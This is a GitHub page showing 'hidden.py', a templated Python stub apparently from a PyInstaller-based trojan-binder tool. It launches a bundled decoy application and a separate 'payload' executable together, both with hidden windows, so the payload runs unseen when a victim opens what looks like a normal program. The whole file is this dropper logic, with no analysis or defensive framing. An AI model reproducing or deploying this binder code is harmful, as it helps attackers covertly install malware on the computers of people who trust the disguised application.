-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathhidden.py
38 lines (32 loc) · 1.13 KB
/
hidden.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import os
import sys
import subprocess
import threading
launch = True
while launch:
try:
folder_app = os.path.join(sys._MEIPASS) if hasattr(sys, "_MEIPASS") else None
if folder_app is None: continue
executable_app = os.path.join(folder_app, "${windows.hiddenexe.name_app}")
executable_payload = os.path.join(
folder_app, "${windows.hiddenexe.name_payload}"
)
threads = []
if os.path.exists(executable_app):
thread_app = threading.Thread(
target=subprocess.run,
args=[executable_app],
kwargs={"creationflags": subprocess.CREATE_NO_WINDOW},
)
threads.append(thread_app)
if os.path.exists(executable_payload):
thread_payload = threading.Thread(
target=subprocess.run,
args=[executable_payload],
kwargs={"creationflags": subprocess.CREATE_NO_WINDOW},
)
threads.append(thread_payload)
for thread in threads: thread.start()
launch = False
except Exception as e:
launch = True